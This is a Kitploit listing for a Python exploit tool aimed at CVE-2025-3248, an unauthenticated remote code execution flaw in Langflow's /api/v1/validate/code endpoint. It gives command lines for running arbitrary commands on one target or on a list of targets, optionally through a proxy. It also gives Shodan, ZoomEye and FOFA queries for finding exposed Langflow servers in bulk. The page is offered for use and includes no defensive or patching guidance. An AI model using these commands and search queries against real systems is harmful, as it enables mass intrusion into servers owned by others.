CVE-2025-3248 — CVE-2025-3248 — Langflow RCE Exploit | Kitploit

CVE-2025-3248 — Langflow RCE Exploit

Remote Code Execution (RCE) exploit for Langflow applications vulnerable to CVE-2025-3248.

Affected Endpoint: /api/v1/validate/code

🚀 Exploit Features

🔓 Remote & unauthenticated RCE
🔐 No authentication required
🐍 Python3 one-liner script
🎨 Colorized terminal output for clarity

🔧 Usage

python3 langflow_rce.py -u http://target:7860 -c "id"
python3 langflow_rce.py -i target.txt -c "id"
python3 langflow_rce.py -i target.txt -c "id" -p http://127.0.0.1:8080

Dork

Shodan: 

http.title:"Langflow" "Langflow allows you to build LLM applications"

title:"Langflow"

ZoomEye: 

title:"Langflow" && body:"Langflow allows you to build LLM applications"

app:"Langflow"

FOFA: 

title="Langflow" && body="Langflow allows you to build LLM applications"

app="Langflow"